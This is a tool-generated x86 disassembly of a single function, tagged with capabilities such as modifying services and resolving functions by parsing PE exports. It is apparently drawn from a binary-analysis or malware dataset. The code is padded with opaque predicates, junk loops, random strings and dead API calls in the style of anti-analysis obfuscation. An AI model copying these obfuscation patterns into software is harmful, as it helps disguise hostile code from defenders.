Function at 0x1001a9f3
Capabilities:
Allocate thread local storage
Create pipe
Get common file path
Modify service
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060f6e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x7f4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0x21f90ef3
mov dword [ebp - 0x98], 0xfffffff8
mov dword [ebp - 0x6c], 0x51fa4c82
mov dword [ebp - 0x184], 1
mov dword [ebp - 0x250], 0x3f89
mov dword [ebp - 0x550], str.kjgdix_ogxhmd_tzhghe_sdsufyd_drixby
cmp dword [ebp - 0x250], 0x4050
jle 0x1001ab09
and dword [ebp - 0x1d8], 0
jmp 0x1001aa74
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x62a2
jge 0x1001ab09
and dword [ebp - 0x1d4], 0
jmp 0x1001aa9a
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x6c2
jge 0x1001ab04
and dword [ebp - 0x140], 0
jmp 0x1001aabc
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x359a
jge 0x1001ab02
mov eax, dword [ebp - 0x1d8]
cdq
idiv dword [ebp - 0x1d4]
and edx, dword [ebp - 0x140]
mov eax, edx
cdq
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], edx
push dword [ebp - 0x498]
push dword [ebp - 0x49c]
mov ecx, 0x1007bb98
call fcn.100042e3
jmp 0x1001aaaf
jmp 0x1001aa8d
jmp 0x1001aa67
mov dword [ebp - 0x12c], 0xb1c2fbf3
and dword [ebp - 4], 0
cmp dword [ebp - 0x250], 0x3cb0
jge 0x1001ab33
mov edx, dword [ebp - 0x550]
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1001ab4f
or dword [ebp - 4], 0xffffffff
jmp 0x1001ab59
mov dword [ebp - 0x43c], 0xffffffff
mov dword [ebp - 0x52c], 0xb8877e47
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x67c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6a0], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
je 0x1001abb7
mov dword [ebp - 0x410], 1
jmp 0x1001abbe
and dword [ebp - 0x410], 0
cmp dword [ebp - 0x410], 0xb5cf1c94
jb 0x1001abd6
mov dword [ebp - 0x418], 1
jmp 0x1001abdd
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x418]
jg 0x1001abf4
mov dword [ebp - 0x420], 1
jmp 0x1001abfb
and dword [ebp - 0x420], 0
cmp dword [ebp - 0x420], 0xffff
jne 0x1001ac13
mov dword [ebp - 0x428], 1
jmp 0x1001ac1a
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x428], eax
jge 0x1001ac31
mov dword [ebp - 0x440], 1
jmp 0x1001ac38
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x440]
cmp eax, 0xeede0b40
jne 0x1001ac55
mov dword [ebp - 0x488], 1
jmp 0x1001ac5c
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x18], 0
je 0x1001ac80
cmp dword [ebp - 0x98], 0
je 0x1001ac80
mov dword [ebp - 0x434], 1
jmp 0x1001ac87
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x18], 0
je 0x1001acad
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x18]
je 0x1001acad
mov dword [ebp - 0x490], 1
jmp 0x1001acb4
and dword [ebp - 0x490], 0
cmp dword [ebp - 0x98], 0
je 0x1001acd2
mov eax, 0x18eb0bad
test eax, eax
je 0x1001acd2
mov dword [ebp - 0x234], 1
jmp 0x1001acd9
and dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x234]
neg eax
cmp eax, dword [ebp - 0x184]
jg 0x1001acf5
mov dword [ebp - 0x408], 1
jmp 0x1001acfc
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x408]
jg 0x1001ad19
cmp dword [ebp - 0x98], 0
jne 0x1001ad1d
cmp dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x184]
jle 0x1001ad3d
mov dword [ebp - 0x3c4], 1
jmp 0x1001ad44
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x3c4]
jle 0x1001ad5b
mov dword [ebp - 0x23c], 1
jmp 0x1001ad62
and dword [ebp - 0x23c], 0
cmp dword [ebp - 0x23c], 0xfffc
jb 0x1001ad7a
mov dword [ebp - 0x344], 1
jmp 0x1001ad81
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
je 0x1001adcd
mov byte [ebp - 0x92], 0
movzx eax, byte [ebp - 0x92]
test eax, eax
je 0x1001adb2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov byte [ebp - 0x71], 0
movzx eax, byte [ebp - 0x71]
test eax, eax
je 0x1001adc8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x1001b2d6
mov dword [ebp - 0x1b4], 0x6054615
mov dword [ebp - 0x68], 0xafff74b7
mov dword [ebp - 0x69c], 0xe45104f3
push 3
lea ecx, [ebp - 0x5b0]
call fcn.10004595
mov dword [ebp - 4], 2
mov dword [ebp - 0x604], 0xffff
mov dword [ebp - 0x600], 0xffff
mov dword [ebp - 0x5fc], 0xffff
mov dword [ebp - 0x5f8], 0xffff
lea ecx, [ebp - 0x1ee]
call fcn.1000460b
push eax
lea eax, [ebp - 0x5f4]
push eax
lea eax, [ebp - 0x604]
push eax
lea ecx, [ebp - 0x79c]
call fcn.1000460e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x61c]
call fcn.100045d1
mov byte [ebp - 4], 3
mov dword [ebp - 0x110], 0
jmp 0x1001ae76
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 3
jge 0x1001ae95
push dword [ebp - 0x110]
lea ecx, [ebp - 0x5b0]
call fcn.100045fc
or dword [eax], 0xffffffff
jmp 0x1001ae69
imul eax, dword [ebp - 0x1b4], 0x46b4
test eax, eax
je 0x1001aefb
cmp dword [ebp - 0x68], 0
je 0x1001aeb5
mov dword [ebp - 0x244], 1
jmp 0x1001aebc
and dword [ebp - 0x244], 0
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x6bc], eax
mov dword [ebp - 0x43c], 0xa6825d82
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x43c]
jge 0x1001aefb
mov dword [ebp - 0x24c], 1
jmp 0x1001af02
and dword [ebp - 0x24c], 0
cmp dword [ebp - 0x24c], 1
ja 0x1001af17
mov dword [ebp - 0x34c], 1
jmp 0x1001af1e
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x34c], eax
jge 0x1001af38
mov dword [ebp - 0x254], 1
jmp 0x1001af3f
and dword [ebp - 0x254], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x254], eax
je 0x1001af59
mov dword [ebp - 0x3cc], 1
jmp 0x1001af60
and dword [ebp - 0x3cc], 0
imul eax, dword [ebp - 0x3cc], 0
cmp eax, dword [ebp - 0x184]
jge 0x1001af7b
mov dword [ebp - 0x25c], 1
jmp 0x1001af82
and dword [ebp - 0x25c], 0
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jne 0x1001afac
mov eax, 0xfff6
test eax, eax
jne 0x1001afac
mov eax, 0xa6cbaba2
test eax, eax
jne 0x1001afac
and dword [ebp - 0x354], 0
jmp 0x1001afb6
mov dword [ebp - 0x354], 1
mov eax, dword [ebp - 0x354]
add eax, 0xbb6f
sub eax, dword [ebp - 0x12c]
je 0x1001b0f8
mov dword [ebp - 0x6e0], 0xe10b09ed
mov dword [ebp - 0x708], 0x9b5f814d
mov dword [ebp - 0x6b8], 0x3d3c4855
mov dword [ebp - 0x40c], 0x114b
mov dword [ebp - 0x51c], str.phba_lddvwiv_vghnnjxy_ury_hciqrba_oudf_hzzyac
cmp dword [ebp - 0x40c], 0x13b8
jle 0x1001b083
and dword [ebp - 0x148], 0
jmp 0x1001b021
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x3794
jge 0x1001b083
and dword [ebp - 0x124], 0
jmp 0x1001b043
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x76ff
jge 0x1001b081
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x124]
cdq
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], edx
push dword [ebp - 0x4a4]
push dword [ebp - 0x4a8]
mov ecx, 0x1007bb98
call fcn.100042e3
jmp 0x1001b036
jmp 0x1001b014
push 2
lea ecx, [ebp - 0x61c]
call fcn.100045fc
mov dword [ebp - 0x264], eax
mov eax, dword [ebp - 0x264]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x264]
mov dword [ecx], eax
mov byte [ebp - 4], 4
cmp dword [ebp - 0x40c], 0xfb7
jge 0x1001b0c7
mov edx, dword [ebp - 0x51c]
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1001b0e3
mov dword [ebp - 4], 3
jmp 0x1001b0f3
jmp 0x1001b2ae
mov dword [ebp - 0xa0], 0x45fe6ee0
mov dword [ebp - 0x68], 0xfffffff4
jmp 0x1001b112
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xb
jg 0x1001b1ce
mov dword [ebp - 0x524], 0x1c1c
cmp dword [ebp - 0x524], 0x5e0
jge 0x1001b19d
push 0x1007de80
push 0x1007de8c
push 0x1007de88
push 0x1007de84
push 0x1007cd74
push 0x1007de7c
mov ecx, 0x1007bcb8
call fcn.10008eda
mov ecx, eax
call fcn.10008eda
mov ecx, eax
call fcn.10008eda
mov ecx, eax
call fcn.10008eda
mov ecx, eax
call fcn.10008eda
mov ecx, eax
call fcn.10008eda
push 1
call fcn.1001a7c1
pop ecx
push fcn.1000b153
push 0xffffffffffffffff
mov ecx, 0x1007bb98
call fcn.100090d3
mov ecx, eax
call fcn.100090c7
mov byte [ebp - 0x8a], 0
movzx eax, byte [ebp - 0x8a]
test eax, eax
je 0x1001b1b7
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov byte [ebp - 0x79], 0
movzx eax, byte [ebp - 0x79]
test eax, eax
je 0x1001b1c9
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
jmp 0x1001b10b
cmp dword [ebp - 0x184], 0
jne 0x1001b1e0
cmp dword [ebp - 0xa0], 0
je 0x1001b25e
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x640], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x648], eax
push 2
lea ecx, [ebp - 0x5b0]
call fcn.100045fc
mov esi, dword [eax]
sub esi, 0x5e26160d
push 1
lea ecx, [ebp - 0x61c]
call fcn.100045fc
cmp esi, dword [eax]
jle 0x1001b23f
cmp dword [ebp - 0xa0], 0
je 0x1001b23f
mov dword [ebp - 0x26c], 1
jmp 0x1001b246
and dword [ebp - 0x26c], 0
cmp dword [ebp - 0x26c], 0x6553ecf3
jge 0x1001b25e
mov dword [ebp - 0x35c], 1
jmp 0x1001b265
and dword [ebp - 0x35c], 0
push 2
lea ecx, [ebp - 0x5b0]
call fcn.100045fc
mov eax, dword [eax]
imul eax, dword [ebp - 0x35c]
cmp eax, 6
jge 0x1001b28c
mov dword [ebp - 0x274], 1
jmp 0x1001b293
and dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
sub eax, dword [ebp - 0x12c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x1b4], 0x4c718fe3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x61c]
call fcn.100045f7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5b0]
call fcn.100045f7
cmp dword [ebp + 0x10], 0
jbe 0x1001b526
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001b526
mov dword [ebp - 0x200], 0x4e677b56
mov dword [ebp - 0x134], 0xffff
mov dword [ebp - 0x294], 0xf1e5c8a5
mov dword [ebp - 0x40], 0
jmp 0x1001b31a
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x1001b330
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x220], 0
jmp 0x1001b313
mov dword [ebp - 0x40], 0
jmp 0x1001b340
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x1001b356
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x56c], 0xfffffffe
jmp 0x1001b339
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x220]
cmp eax, dword [ebp - 0x134]
jne 0x1001b377
mov dword [ebp - 0x3d4], 1
jmp 0x1001b37e
and dword [ebp - 0x3d4], 0
cmp dword [ebp - 0x3d4], 0x1ec2184e
jle 0x1001b396
mov dword [ebp - 0x27c], 1
jmp 0x1001b39d
and dword [ebp - 0x27c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x220]
cmp eax, dword [ebp - 0x27c]
jge 0x1001b3be
mov dword [ebp - 0x364], 1
jmp 0x1001b3c5
and dword [ebp - 0x364], 0
cmp dword [ebp - 0x364], 0xffffffff
je 0x1001b3da
mov dword [ebp - 0x284], 1
jmp 0x1001b3e1
and dword [ebp - 0x284], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x220]
cmp dword [ebp - 0x284], eax
jle 0x1001b402
mov dword [ebp - 0x594], 1
jmp 0x1001b409
and dword [ebp - 0x594], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x220]
mov dword [ebp - 0x200], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x200]
cmp ecx, dword [ebp + eax - 0x220]
jle 0x1001b43d
mov dword [ebp - 0x42c], 1
jmp 0x1001b444
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x42c], eax
jl 0x1001b45e
mov dword [ebp - 0x28c], 1
jmp 0x1001b465
and dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0x28c], eax
jg 0x1001b47f
mov dword [ebp - 0x36c], 1
jmp 0x1001b486
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x36c], eax
jle 0x1001b4a9
cmp dword [ebp - 0x200], 0
je 0x1001b4a9
mov dword [ebp - 0x3dc], 1
jmp 0x1001b4b0
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0x3dc], eax
jg 0x1001b4ca
mov dword [ebp - 0x29c], 1
jmp 0x1001b4d1
and dword [ebp - 0x29c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x220]
add eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x134]
jl 0x1001b4f8
mov dword [ebp - 0x374], 1
jmp 0x1001b4ff
and dword [ebp - 0x374], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x374]
mov dword [ebp + eax - 0x56c], ecx
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10014f59
pop ecx
pop ecx
jmp 0x1001e3df
mov dword [ebp - 0x4c], 0xe56f
mov dword [ebp - 0x34], 0x33f23e93
mov dword [ebp - 0x480], 0xe86a6760
mov dword [ebp - 0x518], 0
mov dword [ebp - 0x18c], 0
jmp 0x1001b561
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 2
jge 0x1001b57d
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x5dc], 0xc248
jmp 0x1001b554
cmp dword [ebp - 0x4c], 0
jne 0x1001b622
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x650], eax
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x4c]
jle 0x1001b5a7
cmp dword [ebp - 0x34], 0
jne 0x1001b5a7
and dword [ebp - 0x2a4], 0
jmp 0x1001b5b1
mov dword [ebp - 0x2a4], 1
mov eax, dword [ebp - 0x2a4]
sub eax, dword [ebp - 0x34]
cmp dword [ebp - 0x4c], eax
jl 0x1001b5cb
mov dword [ebp - 0x414], 1
jmp 0x1001b5d2
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x414], eax
jne 0x1001b5e9
mov dword [ebp - 0x2ac], 1
jmp 0x1001b5f0
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x2ac], eax
jl 0x1001b607
mov dword [ebp - 0x37c], 1
jmp 0x1001b60e
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x37c], eax
jle 0x1001b622
and dword [ebp - 0x2b4], 0
jmp 0x1001b62c
mov dword [ebp - 0x2b4], 1
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x2b4], eax
jl 0x1001b643
mov dword [ebp - 0x460], 1
jmp 0x1001b64a
and dword [ebp - 0x460], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5dc], 0
ja 0x1001b666
mov dword [ebp - 0x570], 1
jmp 0x1001b66d
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x34], 0
je 0x1001b6b7
xor eax, eax
inc eax
je 0x1001b6b7
mov byte [ebp - 0x8c], 0
movzx eax, byte [ebp - 0x8c]
test eax, eax
je 0x1001b6b2
push 0x1c3c
push 0x6aa
push 0x1088
push 0x2316
push 0x1ec1
call dword [sym.imp.GDI32.dll_Rectangle]
jmp 0x1001b84d
mov dword [ebp - 0x474], 0x89bb643c
mov dword [ebp - 0x34], 0
jmp 0x1001b6d1
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 5
jge 0x1001b84d
mov dword [ebp - 0x3e4], 0x46552ded
mov dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0x3e4], 0xffff
mov eax, dword [ebp - 0x3e4]
cmp eax, dword [ebp - 0xc8]
jge 0x1001b713
mov dword [ebp - 0x2bc], 1
jmp 0x1001b71a
and dword [ebp - 0x2bc], 0
cmp dword [ebp - 0x2bc], 0xffffffff
je 0x1001b72f
mov dword [ebp - 0x384], 1
jmp 0x1001b736
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x480]
cmp dword [ebp - 0x384], eax
jne 0x1001b750
mov dword [ebp - 0x2c4], 1
jmp 0x1001b757
and dword [ebp - 0x2c4], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x2c4], eax
jge 0x1001b76e
mov dword [ebp - 0x430], 1
jmp 0x1001b775
and dword [ebp - 0x430], 0
cmp dword [ebp - 0x430], 0xd8c6
je 0x1001b78d
mov dword [ebp - 0x2cc], 1
jmp 0x1001b794
and dword [ebp - 0x2cc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5dc]
cmp dword [ebp - 0x2cc], eax
jg 0x1001b7b5
mov dword [ebp - 0x46c], 1
jmp 0x1001b7bc
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x518], 0xfffffff7
cmp dword [ebp - 0x34], 0x8dc7
jge 0x1001b7e7
mov dword [ebp - 0x38c], 1
jmp 0x1001b7ee
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x38c]
cmp eax, 0x3883faa0
je 0x1001b80d
mov dword [ebp - 0x2d4], 1
jmp 0x1001b814
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0xc8]
imul eax, dword [ebp - 0x2d4]
cmp eax, dword [ebp - 0x474]
jl 0x1001b835
mov dword [ebp - 0x3ec], 1
jmp 0x1001b83c
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0xc8], eax
jmp 0x1001b6ca
push 3
lea ecx, [ebp - 0x698]
call fcn.10004595
mov dword [ebp - 4], 6
mov dword [ebp - 0x1cc], 0xad95e17c
mov dword [ebp - 0x13c], 0
jmp 0x1001b884
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 3
jge 0x1001b8a6
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x698]
call fcn.100045fc
mov dword [eax], 0x4e2db58e
jmp 0x1001b877
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x1001b8be
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x1cc], 0
jmp 0x1001b8d7
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 2
jg 0x1001b952
mov dword [ebp - 0x144], 0
jmp 0x1001b8f9
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 4
jge 0x1001b915
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x730], 0xfffd
jmp 0x1001b8ec
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x730]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x730], eax
mov byte [ebp - 0x8e], 0
movzx eax, byte [ebp - 0x8e]
test eax, eax
je 0x1001b94d
push 0x14eb
call dword [sym.imp.USER32.dll_GetSystemMetrics]
jmp 0x1001b8ca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x698]
call fcn.100045f7
cmp dword [ebp + 0x10], 0
jne 0x1001d841
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000b9a4
mov dword [ebp - 0x1a8], eax
push 1
lea ecx, [ebp - 0x218]
call fcn.10004595
mov dword [ebp - 4], 7
mov dword [ebp - 0x24], 0xd4081c29
mov dword [ebp - 0x394], 1
mov dword [ebp - 0x314], 0xefe35fe5
mov dword [ebp - 0x194], 0
jmp 0x1001b9c4
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 1
jge 0x1001b9e6
push dword [ebp - 0x194]
lea ecx, [ebp - 0x218]
call fcn.100045fc
mov dword [eax], 1
jmp 0x1001b9b7
mov dword [ebp - 0x24], 0
jmp 0x1001b9f6
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x1001bd7c
mov dword [ebp - 0x5f0], 0xb91300d
mov dword [ebp - 0x5ec], 0xb91300d
mov dword [ebp - 0x5e8], 0xb91300d
mov dword [ebp - 0x5e4], 0xb91300d
lea ecx, [ebp - 0x1ed]
call fcn.1000460b
push eax
lea eax, [ebp - 0x5e0]
push eax
lea eax, [ebp - 0x5f0]
push eax
lea ecx, [ebp - 0x7a4]
call fcn.1000460e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x628]
call fcn.100045d1
mov byte [ebp - 4], 8
mov dword [ebp - 0x520], 8
push dword [ebp - 0x24]
lea ecx, [ebp - 0x218]
call fcn.100045fc
mov dword [ebp - 0x2dc], eax
push 0
lea ecx, [ebp - 0x218]
call fcn.100045fc
mov ecx, dword [ebp - 0x2dc]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2dc]
cmp dword [eax], 0
je 0x1001bd51
mov dword [ebp - 0x14c], 0xd7582ba8
mov dword [ebp - 0x47c], 3
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x1001bad3
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
cmp dword [ebp - 0x24], 0
jne 0x1001baeb
mov eax, 0x1392
test eax, eax
jne 0x1001baeb
and dword [ebp - 0x2e4], 0
jmp 0x1001baf5
mov dword [ebp - 0x2e4], 1
push dword [ebp - 0x24]
lea ecx, [ebp - 0x218]
call fcn.100045fc
mov eax, dword [eax]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
cmp dword [ebp - 0x2e4], eax
jl 0x1001bb25
mov dword [ebp - 0x3a4], 1
jmp 0x1001bb2c
and dword [ebp - 0x3a4], 0
mov esi, dword [ebp - 0x14c]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x218]
call fcn.100045fc
cmp dword [eax], esi
jge 0x1001bb50
mov dword [ebp - 0x578], 1
jmp 0x1001bb57
and dword [ebp - 0x578], 0
mov esi, dword [ebp - 0x14c]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x218]
call fcn.100045fc
cmp dword [eax], esi
jle 0x1001bb7b
mov dword [ebp - 0x41c], 1
jmp 0x1001bb82
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x41c], eax
jl 0x1001bb99
mov dword [ebp - 0x2ec], 1
jmp 0x1001bba0
and dword [ebp - 0x2ec], 0
cmp dword [ebp - 0x2ec], 0xffffffff
jg 0x1001bbb5
mov dword [ebp - 0x39c], 1
jmp 0x1001bbbc
and dword [ebp - 0x39c], 0
cmp dword [ebp - 0x39c], 0xfffffff8
jle 0x1001bbd1
mov dword [ebp - 0x2f4], 1
jmp 0x1001bbd8
and dword [ebp - 0x2f4], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x2f4], eax
jne 0x1001bbf5
cmp dword [ebp - 0x14c], 0
jne 0x1001bbf5
and dword [ebp - 0x3f4], 0
jmp 0x1001bbff
mov dword [ebp - 0x3f4], 1
push dword [ebp - 0x24]
lea ecx, [ebp - 0x218]
call fcn.100045fc
mov ecx, dword [ebp - 0x3f4]
cmp ecx, dword [eax]
jle 0x1001bc23
mov dword [ebp - 0x2fc], 1
jmp 0x1001bc2a
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2fc]
sub eax, 0x452a
cmp eax, 0x60a4
jl 0x1001bc48
mov dword [ebp - 0x304], 1
jmp 0x1001bc4f
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [ebp - 0x304]
jl 0x1001bc69
mov dword [ebp - 0x438], 1
jmp 0x1001bc70
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x47c]
cmp dword [ebp - 0x438], eax
jne 0x1001bc8a
mov dword [ebp - 0x30c], 1
jmp 0x1001bc91
and dword [ebp - 0x30c], 0
imul eax, dword [ebp - 0x30c], 0x598
mov dword [ebp - 0x3ac], eax
push 3
lea ecx, [ebp - 0x628]
call fcn.100045fc
mov ecx, dword [ebp - 0x3ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0
je 0x1001bce0
cmp dword [ebp - 0x14c], 0
je 0x1001bce0
mov dword [ebp - 0x3fc], 1
jmp 0x1001bce7
and dword [ebp - 0x3fc], 0
mov esi, dword [ebp - 0x3fc]
neg esi
push dword [ebp - 0x24]
lea ecx, [ebp - 0x218]
call fcn.100045fc
cmp esi, dword [eax]
jne 0x1001bd0d
mov dword [ebp - 0x31c], 1
jmp 0x1001bd14
and dword [ebp - 0x31c], 0
push 0
lea ecx, [ebp - 0x218]
call fcn.100045fc
mov ecx, dword [ebp - 0x31c]
cmp ecx, dword [eax]
jge 0x1001bd37
mov dword [ebp - 0x3b4], 1
jmp 0x1001bd3e
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3b4]
add eax, 0x5685
mov dword [ebp - 0x520], eax
jmp 0x1001bd68
cmp dword [ebp - 0x24], 0
je 0x1001bd68
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x628]
call fcn.100045f7
jmp 0x1001bd7c
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x628]
call fcn.100045f7
jmp 0x1001b9ef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x218]
call fcn.100045f7
